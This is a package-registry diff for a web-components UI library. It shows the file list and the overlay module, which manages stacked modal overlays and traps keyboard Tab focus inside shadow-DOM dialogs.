@tartaguti/ui-components 0.0.0-stage → 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (392) hide show
  1. package/CHANGELOG.md +7 -0
  2. package/LICENSE +21 -0
  3. package/README.md +192 -2
  4. package/THIRD-PARTY-NOTICES.md +29 -0
  5. package/custom-elements.json +16731 -0
  6. package/dist/accordion/tt-accordion-item.d.ts +32 -0
  7. package/dist/accordion/tt-accordion-item.d.ts.map +1 -0
  8. package/dist/accordion/tt-accordion-item.js +247 -0
  9. package/dist/accordion/tt-accordion-item.js.map +1 -0
  10. package/dist/accordion/tt-accordion.d.ts +28 -0
  11. package/dist/accordion/tt-accordion.d.ts.map +1 -0
  12. package/dist/accordion/tt-accordion.js +148 -0
  13. package/dist/accordion/tt-accordion.js.map +1 -0
  14. package/dist/bento/tt-bento-item.d.ts +35 -0
  15. package/dist/bento/tt-bento-item.d.ts.map +1 -0
  16. package/dist/bento/tt-bento-item.js +201 -0
  17. package/dist/bento/tt-bento-item.js.map +1 -0
  18. package/dist/bento/tt-bento.d.ts +25 -0
  19. package/dist/bento/tt-bento.d.ts.map +1 -0
  20. package/dist/bento/tt-bento.js +314 -0
  21. package/dist/bento/tt-bento.js.map +1 -0
  22. package/dist/floating.d.ts +61 -0
  23. package/dist/floating.d.ts.map +1 -0
  24. package/dist/floating.js +120 -0
  25. package/dist/floating.js.map +1 -0
  26. package/dist/index.d.ts +92 -0
  27. package/dist/index.d.ts.map +1 -0
  28. package/dist/index.js +96 -0
  29. package/dist/index.js.map +1 -0
  30. package/dist/interaction/tt-draggable.d.ts +29 -0
  31. package/dist/interaction/tt-draggable.d.ts.map +1 -0
  32. package/dist/interaction/tt-draggable.js +66 -0
  33. package/dist/interaction/tt-draggable.js.map +1 -0
  34. package/dist/interaction/tt-droppable.d.ts +37 -0
  35. package/dist/interaction/tt-droppable.d.ts.map +1 -0
  36. package/dist/interaction/tt-droppable.js +108 -0
  37. package/dist/interaction/tt-droppable.js.map +1 -0
  38. package/dist/interaction/tt-resizable.d.ts +45 -0
  39. package/dist/interaction/tt-resizable.d.ts.map +1 -0
  40. package/dist/interaction/tt-resizable.js +210 -0
  41. package/dist/interaction/tt-resizable.js.map +1 -0
  42. package/dist/interaction/tt-reveal.d.ts +54 -0
  43. package/dist/interaction/tt-reveal.d.ts.map +1 -0
  44. package/dist/interaction/tt-reveal.js +302 -0
  45. package/dist/interaction/tt-reveal.js.map +1 -0
  46. package/dist/motion.d.ts +8 -0
  47. package/dist/motion.d.ts.map +1 -0
  48. package/dist/motion.js +49 -0
  49. package/dist/motion.js.map +1 -0
  50. package/dist/overlay.d.ts +7 -0
  51. package/dist/overlay.d.ts.map +1 -0
  52. package/dist/overlay.js +121 -0
  53. package/dist/overlay.js.map +1 -0
  54. package/dist/safe-url.d.ts +14 -0
  55. package/dist/safe-url.d.ts.map +1 -0
  56. package/dist/safe-url.js +46 -0
  57. package/dist/safe-url.js.map +1 -0
  58. package/dist/scroll-lock.d.ts +22 -0
  59. package/dist/scroll-lock.d.ts.map +1 -0
  60. package/dist/scroll-lock.js +56 -0
  61. package/dist/scroll-lock.js.map +1 -0
  62. package/dist/sidebar/tt-menu-group.d.ts +69 -0
  63. package/dist/sidebar/tt-menu-group.d.ts.map +1 -0
  64. package/dist/sidebar/tt-menu-group.js +358 -0
  65. package/dist/sidebar/tt-menu-group.js.map +1 -0
  66. package/dist/sidebar/tt-menu-item.d.ts +70 -0
  67. package/dist/sidebar/tt-menu-item.d.ts.map +1 -0
  68. package/dist/sidebar/tt-menu-item.js +502 -0
  69. package/dist/sidebar/tt-menu-item.js.map +1 -0
  70. package/dist/sidebar/tt-sidebar-footer.d.ts +39 -0
  71. package/dist/sidebar/tt-sidebar-footer.d.ts.map +1 -0
  72. package/dist/sidebar/tt-sidebar-footer.js +205 -0
  73. package/dist/sidebar/tt-sidebar-footer.js.map +1 -0
  74. package/dist/sidebar/tt-sidebar-header.d.ts +31 -0
  75. package/dist/sidebar/tt-sidebar-header.d.ts.map +1 -0
  76. package/dist/sidebar/tt-sidebar-header.js +150 -0
  77. package/dist/sidebar/tt-sidebar-header.js.map +1 -0
  78. package/dist/sidebar/tt-sidebar.d.ts +72 -0
  79. package/dist/sidebar/tt-sidebar.d.ts.map +1 -0
  80. package/dist/sidebar/tt-sidebar.js +539 -0
  81. package/dist/sidebar/tt-sidebar.js.map +1 -0
  82. package/dist/sr-only.d.ts +15 -0
  83. package/dist/sr-only.d.ts.map +1 -0
  84. package/dist/sr-only.js +27 -0
  85. package/dist/sr-only.js.map +1 -0
  86. package/dist/tokens.css +1124 -0
  87. package/dist/tt-alert.d.ts +26 -0
  88. package/dist/tt-alert.d.ts.map +1 -0
  89. package/dist/tt-alert.js +165 -0
  90. package/dist/tt-alert.js.map +1 -0
  91. package/dist/tt-aspect-ratio.d.ts +40 -0
  92. package/dist/tt-aspect-ratio.d.ts.map +1 -0
  93. package/dist/tt-aspect-ratio.js +98 -0
  94. package/dist/tt-aspect-ratio.js.map +1 -0
  95. package/dist/tt-auth.d.ts +75 -0
  96. package/dist/tt-auth.d.ts.map +1 -0
  97. package/dist/tt-auth.js +520 -0
  98. package/dist/tt-auth.js.map +1 -0
  99. package/dist/tt-avatar.d.ts +26 -0
  100. package/dist/tt-avatar.d.ts.map +1 -0
  101. package/dist/tt-avatar.js +169 -0
  102. package/dist/tt-avatar.js.map +1 -0
  103. package/dist/tt-badge.d.ts +36 -0
  104. package/dist/tt-badge.d.ts.map +1 -0
  105. package/dist/tt-badge.js +135 -0
  106. package/dist/tt-badge.js.map +1 -0
  107. package/dist/tt-breadcrumbs.d.ts +22 -0
  108. package/dist/tt-breadcrumbs.d.ts.map +1 -0
  109. package/dist/tt-breadcrumbs.js +144 -0
  110. package/dist/tt-breadcrumbs.js.map +1 -0
  111. package/dist/tt-button-group.d.ts +32 -0
  112. package/dist/tt-button-group.d.ts.map +1 -0
  113. package/dist/tt-button-group.js +132 -0
  114. package/dist/tt-button-group.js.map +1 -0
  115. package/dist/tt-button.d.ts +31 -0
  116. package/dist/tt-button.d.ts.map +1 -0
  117. package/dist/tt-button.js +483 -0
  118. package/dist/tt-button.js.map +1 -0
  119. package/dist/tt-card.d.ts +26 -0
  120. package/dist/tt-card.d.ts.map +1 -0
  121. package/dist/tt-card.js +429 -0
  122. package/dist/tt-card.js.map +1 -0
  123. package/dist/tt-chart.d.ts +36 -0
  124. package/dist/tt-chart.d.ts.map +1 -0
  125. package/dist/tt-chart.js +332 -0
  126. package/dist/tt-chart.js.map +1 -0
  127. package/dist/tt-checkbox-group.d.ts +38 -0
  128. package/dist/tt-checkbox-group.d.ts.map +1 -0
  129. package/dist/tt-checkbox-group.js +243 -0
  130. package/dist/tt-checkbox-group.js.map +1 -0
  131. package/dist/tt-checkbox.d.ts +35 -0
  132. package/dist/tt-checkbox.d.ts.map +1 -0
  133. package/dist/tt-checkbox.js +354 -0
  134. package/dist/tt-checkbox.js.map +1 -0
  135. package/dist/tt-code-block.d.ts +37 -0
  136. package/dist/tt-code-block.d.ts.map +1 -0
  137. package/dist/tt-code-block.js +409 -0
  138. package/dist/tt-code-block.js.map +1 -0
  139. package/dist/tt-collapsible.d.ts +71 -0
  140. package/dist/tt-collapsible.d.ts.map +1 -0
  141. package/dist/tt-collapsible.js +206 -0
  142. package/dist/tt-collapsible.js.map +1 -0
  143. package/dist/tt-combobox.d.ts +107 -0
  144. package/dist/tt-combobox.d.ts.map +1 -0
  145. package/dist/tt-combobox.js +816 -0
  146. package/dist/tt-combobox.js.map +1 -0
  147. package/dist/tt-company-card.d.ts +30 -0
  148. package/dist/tt-company-card.d.ts.map +1 -0
  149. package/dist/tt-company-card.js +382 -0
  150. package/dist/tt-company-card.js.map +1 -0
  151. package/dist/tt-comparison-table.d.ts +59 -0
  152. package/dist/tt-comparison-table.d.ts.map +1 -0
  153. package/dist/tt-comparison-table.js +441 -0
  154. package/dist/tt-comparison-table.js.map +1 -0
  155. package/dist/tt-component-doc.d.ts +63 -0
  156. package/dist/tt-component-doc.d.ts.map +1 -0
  157. package/dist/tt-component-doc.js +585 -0
  158. package/dist/tt-component-doc.js.map +1 -0
  159. package/dist/tt-confirm.d.ts +45 -0
  160. package/dist/tt-confirm.d.ts.map +1 -0
  161. package/dist/tt-confirm.js +151 -0
  162. package/dist/tt-confirm.js.map +1 -0
  163. package/dist/tt-contact-list.d.ts +18 -0
  164. package/dist/tt-contact-list.d.ts.map +1 -0
  165. package/dist/tt-contact-list.js +101 -0
  166. package/dist/tt-contact-list.js.map +1 -0
  167. package/dist/tt-copy-button.d.ts +25 -0
  168. package/dist/tt-copy-button.d.ts.map +1 -0
  169. package/dist/tt-copy-button.js +194 -0
  170. package/dist/tt-copy-button.js.map +1 -0
  171. package/dist/tt-data-table.d.ts +69 -0
  172. package/dist/tt-data-table.d.ts.map +1 -0
  173. package/dist/tt-data-table.js +542 -0
  174. package/dist/tt-data-table.js.map +1 -0
  175. package/dist/tt-divider.d.ts +19 -0
  176. package/dist/tt-divider.d.ts.map +1 -0
  177. package/dist/tt-divider.js +104 -0
  178. package/dist/tt-divider.js.map +1 -0
  179. package/dist/tt-drawer.d.ts +38 -0
  180. package/dist/tt-drawer.d.ts.map +1 -0
  181. package/dist/tt-drawer.js +433 -0
  182. package/dist/tt-drawer.js.map +1 -0
  183. package/dist/tt-dropdown-menu.d.ts +57 -0
  184. package/dist/tt-dropdown-menu.d.ts.map +1 -0
  185. package/dist/tt-dropdown-menu.js +631 -0
  186. package/dist/tt-dropdown-menu.js.map +1 -0
  187. package/dist/tt-empty-state.d.ts +13 -0
  188. package/dist/tt-empty-state.d.ts.map +1 -0
  189. package/dist/tt-empty-state.js +94 -0
  190. package/dist/tt-empty-state.js.map +1 -0
  191. package/dist/tt-example.d.ts +33 -0
  192. package/dist/tt-example.d.ts.map +1 -0
  193. package/dist/tt-example.js +250 -0
  194. package/dist/tt-example.js.map +1 -0
  195. package/dist/tt-file-upload.d.ts +85 -0
  196. package/dist/tt-file-upload.d.ts.map +1 -0
  197. package/dist/tt-file-upload.js +662 -0
  198. package/dist/tt-file-upload.js.map +1 -0
  199. package/dist/tt-filter.d.ts +62 -0
  200. package/dist/tt-filter.d.ts.map +1 -0
  201. package/dist/tt-filter.js +393 -0
  202. package/dist/tt-filter.js.map +1 -0
  203. package/dist/tt-form.d.ts +33 -0
  204. package/dist/tt-form.d.ts.map +1 -0
  205. package/dist/tt-form.js +202 -0
  206. package/dist/tt-form.js.map +1 -0
  207. package/dist/tt-grid.d.ts +22 -0
  208. package/dist/tt-grid.d.ts.map +1 -0
  209. package/dist/tt-grid.js +106 -0
  210. package/dist/tt-grid.js.map +1 -0
  211. package/dist/tt-icon.d.ts +20 -0
  212. package/dist/tt-icon.d.ts.map +1 -0
  213. package/dist/tt-icon.js +510 -0
  214. package/dist/tt-icon.js.map +1 -0
  215. package/dist/tt-image.d.ts +59 -0
  216. package/dist/tt-image.d.ts.map +1 -0
  217. package/dist/tt-image.js +314 -0
  218. package/dist/tt-image.js.map +1 -0
  219. package/dist/tt-inbox.d.ts +45 -0
  220. package/dist/tt-inbox.d.ts.map +1 -0
  221. package/dist/tt-inbox.js +275 -0
  222. package/dist/tt-inbox.js.map +1 -0
  223. package/dist/tt-input.d.ts +43 -0
  224. package/dist/tt-input.d.ts.map +1 -0
  225. package/dist/tt-input.js +476 -0
  226. package/dist/tt-input.js.map +1 -0
  227. package/dist/tt-kbd.d.ts +39 -0
  228. package/dist/tt-kbd.d.ts.map +1 -0
  229. package/dist/tt-kbd.js +145 -0
  230. package/dist/tt-kbd.js.map +1 -0
  231. package/dist/tt-key-values.d.ts +17 -0
  232. package/dist/tt-key-values.d.ts.map +1 -0
  233. package/dist/tt-key-values.js +126 -0
  234. package/dist/tt-key-values.js.map +1 -0
  235. package/dist/tt-knowledge-doc.d.ts +24 -0
  236. package/dist/tt-knowledge-doc.d.ts.map +1 -0
  237. package/dist/tt-knowledge-doc.js +120 -0
  238. package/dist/tt-knowledge-doc.js.map +1 -0
  239. package/dist/tt-layout.d.ts +36 -0
  240. package/dist/tt-layout.d.ts.map +1 -0
  241. package/dist/tt-layout.js +318 -0
  242. package/dist/tt-layout.js.map +1 -0
  243. package/dist/tt-modal.d.ts +32 -0
  244. package/dist/tt-modal.d.ts.map +1 -0
  245. package/dist/tt-modal.js +553 -0
  246. package/dist/tt-modal.js.map +1 -0
  247. package/dist/tt-navbar.d.ts +33 -0
  248. package/dist/tt-navbar.d.ts.map +1 -0
  249. package/dist/tt-navbar.js +390 -0
  250. package/dist/tt-navbar.js.map +1 -0
  251. package/dist/tt-page-header.d.ts +28 -0
  252. package/dist/tt-page-header.d.ts.map +1 -0
  253. package/dist/tt-page-header.js +166 -0
  254. package/dist/tt-page-header.js.map +1 -0
  255. package/dist/tt-page.d.ts +14 -0
  256. package/dist/tt-page.d.ts.map +1 -0
  257. package/dist/tt-page.js +163 -0
  258. package/dist/tt-page.js.map +1 -0
  259. package/dist/tt-pagination.d.ts +27 -0
  260. package/dist/tt-pagination.d.ts.map +1 -0
  261. package/dist/tt-pagination.js +194 -0
  262. package/dist/tt-pagination.js.map +1 -0
  263. package/dist/tt-preview.d.ts +11 -0
  264. package/dist/tt-preview.d.ts.map +1 -0
  265. package/dist/tt-preview.js +68 -0
  266. package/dist/tt-preview.js.map +1 -0
  267. package/dist/tt-product.d.ts +40 -0
  268. package/dist/tt-product.d.ts.map +1 -0
  269. package/dist/tt-product.js +590 -0
  270. package/dist/tt-product.js.map +1 -0
  271. package/dist/tt-profile-card.d.ts +23 -0
  272. package/dist/tt-profile-card.d.ts.map +1 -0
  273. package/dist/tt-profile-card.js +199 -0
  274. package/dist/tt-profile-card.js.map +1 -0
  275. package/dist/tt-progress.d.ts +26 -0
  276. package/dist/tt-progress.d.ts.map +1 -0
  277. package/dist/tt-progress.js +156 -0
  278. package/dist/tt-progress.js.map +1 -0
  279. package/dist/tt-quantity.d.ts +36 -0
  280. package/dist/tt-quantity.d.ts.map +1 -0
  281. package/dist/tt-quantity.js +396 -0
  282. package/dist/tt-quantity.js.map +1 -0
  283. package/dist/tt-radio-group.d.ts +50 -0
  284. package/dist/tt-radio-group.d.ts.map +1 -0
  285. package/dist/tt-radio-group.js +372 -0
  286. package/dist/tt-radio-group.js.map +1 -0
  287. package/dist/tt-rating.d.ts +54 -0
  288. package/dist/tt-rating.d.ts.map +1 -0
  289. package/dist/tt-rating.js +312 -0
  290. package/dist/tt-rating.js.map +1 -0
  291. package/dist/tt-search.d.ts +47 -0
  292. package/dist/tt-search.d.ts.map +1 -0
  293. package/dist/tt-search.js +360 -0
  294. package/dist/tt-search.js.map +1 -0
  295. package/dist/tt-section.d.ts +13 -0
  296. package/dist/tt-section.d.ts.map +1 -0
  297. package/dist/tt-section.js +98 -0
  298. package/dist/tt-section.js.map +1 -0
  299. package/dist/tt-select.d.ts +62 -0
  300. package/dist/tt-select.d.ts.map +1 -0
  301. package/dist/tt-select.js +662 -0
  302. package/dist/tt-select.js.map +1 -0
  303. package/dist/tt-skeleton.d.ts +20 -0
  304. package/dist/tt-skeleton.d.ts.map +1 -0
  305. package/dist/tt-skeleton.js +143 -0
  306. package/dist/tt-skeleton.js.map +1 -0
  307. package/dist/tt-slider.d.ts +74 -0
  308. package/dist/tt-slider.d.ts.map +1 -0
  309. package/dist/tt-slider.js +426 -0
  310. package/dist/tt-slider.js.map +1 -0
  311. package/dist/tt-social-links.d.ts +34 -0
  312. package/dist/tt-social-links.d.ts.map +1 -0
  313. package/dist/tt-social-links.js +242 -0
  314. package/dist/tt-social-links.js.map +1 -0
  315. package/dist/tt-sparkline.d.ts +19 -0
  316. package/dist/tt-sparkline.d.ts.map +1 -0
  317. package/dist/tt-sparkline.js +191 -0
  318. package/dist/tt-sparkline.js.map +1 -0
  319. package/dist/tt-spinner.d.ts +19 -0
  320. package/dist/tt-spinner.d.ts.map +1 -0
  321. package/dist/tt-spinner.js +93 -0
  322. package/dist/tt-spinner.js.map +1 -0
  323. package/dist/tt-stack.d.ts +42 -0
  324. package/dist/tt-stack.d.ts.map +1 -0
  325. package/dist/tt-stack.js +158 -0
  326. package/dist/tt-stack.js.map +1 -0
  327. package/dist/tt-stat.d.ts +17 -0
  328. package/dist/tt-stat.d.ts.map +1 -0
  329. package/dist/tt-stat.js +134 -0
  330. package/dist/tt-stat.js.map +1 -0
  331. package/dist/tt-switch.d.ts +39 -0
  332. package/dist/tt-switch.d.ts.map +1 -0
  333. package/dist/tt-switch.js +254 -0
  334. package/dist/tt-switch.js.map +1 -0
  335. package/dist/tt-switcher.d.ts +23 -0
  336. package/dist/tt-switcher.d.ts.map +1 -0
  337. package/dist/tt-switcher.js +203 -0
  338. package/dist/tt-switcher.js.map +1 -0
  339. package/dist/tt-table-cell.d.ts +26 -0
  340. package/dist/tt-table-cell.d.ts.map +1 -0
  341. package/dist/tt-table-cell.js +121 -0
  342. package/dist/tt-table-cell.js.map +1 -0
  343. package/dist/tt-table-row.d.ts +31 -0
  344. package/dist/tt-table-row.d.ts.map +1 -0
  345. package/dist/tt-table-row.js +72 -0
  346. package/dist/tt-table-row.js.map +1 -0
  347. package/dist/tt-table.d.ts +44 -0
  348. package/dist/tt-table.d.ts.map +1 -0
  349. package/dist/tt-table.js +270 -0
  350. package/dist/tt-table.js.map +1 -0
  351. package/dist/tt-tabs.d.ts +31 -0
  352. package/dist/tt-tabs.d.ts.map +1 -0
  353. package/dist/tt-tabs.js +223 -0
  354. package/dist/tt-tabs.js.map +1 -0
  355. package/dist/tt-tag-list.d.ts +19 -0
  356. package/dist/tt-tag-list.d.ts.map +1 -0
  357. package/dist/tt-tag-list.js +136 -0
  358. package/dist/tt-tag-list.js.map +1 -0
  359. package/dist/tt-text.d.ts +52 -0
  360. package/dist/tt-text.d.ts.map +1 -0
  361. package/dist/tt-text.js +337 -0
  362. package/dist/tt-text.js.map +1 -0
  363. package/dist/tt-textarea.d.ts +43 -0
  364. package/dist/tt-textarea.d.ts.map +1 -0
  365. package/dist/tt-textarea.js +356 -0
  366. package/dist/tt-textarea.js.map +1 -0
  367. package/dist/tt-thread.d.ts +62 -0
  368. package/dist/tt-thread.d.ts.map +1 -0
  369. package/dist/tt-thread.js +374 -0
  370. package/dist/tt-thread.js.map +1 -0
  371. package/dist/tt-toast.d.ts +49 -0
  372. package/dist/tt-toast.d.ts.map +1 -0
  373. package/dist/tt-toast.js +440 -0
  374. package/dist/tt-toast.js.map +1 -0
  375. package/dist/tt-toggle-group.d.ts +73 -0
  376. package/dist/tt-toggle-group.d.ts.map +1 -0
  377. package/dist/tt-toggle-group.js +273 -0
  378. package/dist/tt-toggle-group.js.map +1 -0
  379. package/dist/tt-toggle.d.ts +54 -0
  380. package/dist/tt-toggle.d.ts.map +1 -0
  381. package/dist/tt-toggle.js +232 -0
  382. package/dist/tt-toggle.js.map +1 -0
  383. package/dist/tt-toolbar.d.ts +26 -0
  384. package/dist/tt-toolbar.d.ts.map +1 -0
  385. package/dist/tt-toolbar.js +164 -0
  386. package/dist/tt-toolbar.js.map +1 -0
  387. package/dist/tt-tooltip.d.ts +42 -0
  388. package/dist/tt-tooltip.d.ts.map +1 -0
  389. package/dist/tt-tooltip.js +299 -0
  390. package/dist/tt-tooltip.js.map +1 -0
  391. package/package.json +84 -4
  392. package/vscode.html-custom-data.json +2907 -0
@@ -0,0 +1,7 @@
1
+ export declare function pushOverlay(el: HTMLElement): void;
2
+ export declare function removeOverlay(el: HTMLElement): void;
3
+ export declare function isTopOverlay(el: HTMLElement): boolean;
4
+ export declare function tabbables(root: Element | ShadowRoot): HTMLElement[];
5
+ export declare function deepActiveElement(): Element | null;
6
+ export declare function trapTab(event: KeyboardEvent, container: Element): void;
7
+ //# sourceMappingURL=overlay.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"overlay.d.ts","sourceRoot":"","sources":["../src/overlay.ts"],"names":[],"mappings":"AAsBA,wBAAgB,WAAW,CAAC,EAAE,EAAE,WAAW,GAAG,IAAI,CAGjD;AAED,wBAAgB,aAAa,CAAC,EAAE,EAAE,WAAW,GAAG,IAAI,CAGnD;AAED,wBAAgB,YAAY,CAAC,EAAE,EAAE,WAAW,GAAG,OAAO,CAErD;AAgCD,wBAAgB,SAAS,CAAC,IAAI,EAAE,OAAO,GAAG,UAAU,GAAG,WAAW,EAAE,CAmBnE;AAGD,wBAAgB,iBAAiB,IAAI,OAAO,GAAG,IAAI,CAMlD;AAUD,wBAAgB,OAAO,CAAC,KAAK,EAAE,aAAa,EAAE,SAAS,EAAE,OAAO,GAAG,IAAI,CAwBtE"}
@@ -0,0 +1,121 @@
1
+ /*
2
+ Shared behaviour for modal overlays: tt-modal and tt-drawer.
3
+
4
+ TWO jobs, both of which used to be done separately (or not at all) in
5
+ each component.
6
+
7
+ 1. A STACK of open overlays. Every overlay listens for keys on window,
8
+ so a confirm dialog opened from inside a modal meant one Escape
9
+ closed BOTH, and two Tab traps fought over the same keypress. Only
10
+ the overlay on top of the stack may react to a key.
11
+
12
+ 2. A Tab TRAP that finds focusable elements by walking the flattened
13
+ tree: into shadow roots and through slots. tt-modal used to match a
14
+ hardcoded list of tag names, so any control missing from it
15
+ (tt-combobox, tt-radio-group, tt-slider...) looked like it was
16
+ outside the dialog, and Tab from it snapped back to the first field.
17
+ Walking the tree finds the real <input> or <button> inside every
18
+ tt-* control, with no list to keep up to date.
19
+ */
20
+ const stack = [];
21
+ export function pushOverlay(el) {
22
+ removeOverlay(el);
23
+ stack.push(el);
24
+ }
25
+ export function removeOverlay(el) {
26
+ const index = stack.indexOf(el);
27
+ if (index !== -1)
28
+ stack.splice(index, 1);
29
+ }
30
+ export function isTopOverlay(el) {
31
+ return stack[stack.length - 1] === el;
32
+ }
33
+ const CANDIDATE = [
34
+ "a[href]",
35
+ "area[href]",
36
+ "button",
37
+ "input",
38
+ "select",
39
+ "textarea",
40
+ "summary",
41
+ "iframe",
42
+ "[tabindex]",
43
+ '[contenteditable="true"]',
44
+ ].join(",");
45
+ function isTabbable(el) {
46
+ if (!el.matches(CANDIDATE))
47
+ return false;
48
+ if (el.tabIndex < 0)
49
+ return false;
50
+ if (el.matches(":disabled"))
51
+ return false;
52
+ if (el.closest("[inert]"))
53
+ return false;
54
+ if (el.getClientRects().length === 0)
55
+ return false;
56
+ return getComputedStyle(el).visibility !== "hidden";
57
+ }
58
+ /*
59
+ Everything Tab can reach inside `root`, in the order the user sees it.
60
+
61
+ A host's light-DOM children are only rendered where its slots put
62
+ them, so a host is entered through its shadow root, never through its
63
+ children directly. A slot is entered through what is assigned to it,
64
+ or through its fallback content when nothing is.
65
+ */
66
+ export function tabbables(root) {
67
+ const found = [];
68
+ const visit = (node) => {
69
+ const children = node instanceof HTMLSlotElement
70
+ ? node.assignedElements({ flatten: true }).length > 0
71
+ ? node.assignedElements({ flatten: true })
72
+ : Array.from(node.children)
73
+ : Array.from(node.children);
74
+ for (const child of children) {
75
+ if (child instanceof HTMLElement && isTabbable(child))
76
+ found.push(child);
77
+ visit(child.shadowRoot ?? child);
78
+ }
79
+ };
80
+ visit(root);
81
+ return found;
82
+ }
83
+ // The innermost focused element, following focus down into shadow roots.
84
+ export function deepActiveElement() {
85
+ let active = document.activeElement;
86
+ while (active?.shadowRoot?.activeElement) {
87
+ active = active.shadowRoot.activeElement;
88
+ }
89
+ return active;
90
+ }
91
+ /*
92
+ Keep Tab inside `container`.
93
+
94
+ Only the ENDS are handled. In the middle the browser moves focus on its
95
+ own, which is always right and needs no list of what is focusable. The
96
+ trap steps in when focus would leave: Tab on the last element, Shift+Tab
97
+ on the first, or focus somehow already outside.
98
+ */
99
+ export function trapTab(event, container) {
100
+ const items = tabbables(container);
101
+ if (items.length === 0) {
102
+ event.preventDefault();
103
+ return;
104
+ }
105
+ const first = items[0];
106
+ const last = items[items.length - 1];
107
+ const active = deepActiveElement();
108
+ const index = items.findIndex((item) => item === active);
109
+ if (event.shiftKey) {
110
+ if (index <= 0) {
111
+ event.preventDefault();
112
+ last.focus();
113
+ }
114
+ return;
115
+ }
116
+ if (index === -1 || index === items.length - 1) {
117
+ event.preventDefault();
118
+ first.focus();
119
+ }
120
+ }
121
+ //# sourceMappingURL=overlay.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"overlay.js","sourceRoot":"","sources":["../src/overlay.ts"],"names":[],"mappings":"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